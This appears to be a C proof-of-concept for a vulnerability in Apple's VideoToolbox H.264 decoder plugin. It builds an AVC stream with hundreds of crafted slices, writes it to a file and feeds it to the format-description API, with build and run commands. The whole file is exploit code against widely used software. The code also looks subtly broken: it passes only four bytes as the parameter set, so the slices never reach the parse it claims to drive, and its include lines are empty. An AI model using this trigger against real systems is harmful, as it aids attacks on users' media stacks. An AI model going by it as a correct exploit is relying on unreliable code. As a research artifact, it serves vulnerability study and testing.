// vid.avc · AVD.videodecoder plugin (userspace, not kext) · CVE-2026-112416 // H.264 slice count beyond the plugin cap // C twin of the Swift POC: builds the 900-slice AVC stream and drives it through // CMVideoFormatDescriptionCreateFromH264ParameterSets. // Build: clang -O2 -o cve-2026-112416 CVE-2026-112416.c -framework VideoToolbox -framework CoreMedia -framework CoreFoundation // Run: ./cve-2026-112416 [slice-count] #include #include #include // ── byte buffer ── typedef struct { uint8_t *d; size_t n, cap; } buf; static void bneed(buf *b, size_t extra) { if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); } } static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; } static void brep(buf *b, uint8_t v, size_t n) { bneed(b, n); memset(b->d + b->n, v, n); b->n += n; } static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; } // ── seed construction (from Cinder27 Sources: VideoPayload.avcManySlices) ── static buf avc_many_slices(int slice_count) { buf out = {0}; bcat(&out, "\x00\x00\x00\x01", 4); // start code bcat(&out, (uint8_t[]){0x67, 0x42, 0x00, 0x1E}, 4); // SPS bcat(&out, (uint8_t[]){0xE8, 0x38, 0x00}, 3); // exp-golomb fields brep(&out, 0, 8); // structurally plausible tail bcat(&out, "\x00\x00\x00\x01", 4); bcat(&out, (uint8_t[]){0x68, 0xCE, 0x38, 0x80}, 4); // PPS for (int i = 0; i < slice_count; i++) { bcat(&out, "\x00\x00\x00\x01", 4); bcat(&out, (uint8_t[]){0x65, (uint8_t)(0x88 | (i & 0x03)), 0x84, 0x00}, 4); // slice header brep(&out, 0, 4); } return out; } // ── trigger: parameter-set parse through VideoToolbox ── #include #include #include int main(int argc, char **argv) { int slice_count = argc > 1 ? atoi(argv[1]) : 900; buf data = avc_many_slices(slice_count); FILE *f = fopen("avc_900_slices.h264", "wb"); if (f) { fwrite(data.d, 1, data.n, f); fclose(f); } CMFormatDescriptionRef format = NULL; const uint8_t *ptr = data.d; OSStatus status = CMVideoFormatDescriptionCreateFromH264ParameterSets( kCFAllocatorDefault, 1, // one parameter set: the first 4 bytes, as the Swift POC passes &ptr, (size_t[]){4}, 4, // 4-byte NAL unit header length &format); printf("CVE-2026-112416 · %d slices in stream · OSStatus %d\n", slice_count, (int)status); if (format) { CMVideoDimensions dims = CMVideoFormatDescriptionGetDimensions(format); printf("decoder accepted the parameter set · dimensions %d x %d\n", dims.width, dims.height); CFRelease(format); } else { printf("no format description produced (rejected at entry)\n"); } printf("seed: avc_900_slices.h264 (%zu B) · exit code %d\n", data.n, (int)(status == noErr ? 0 : 1)); int rc = status == noErr ? 0 : 1; bfree(&data); return rc; }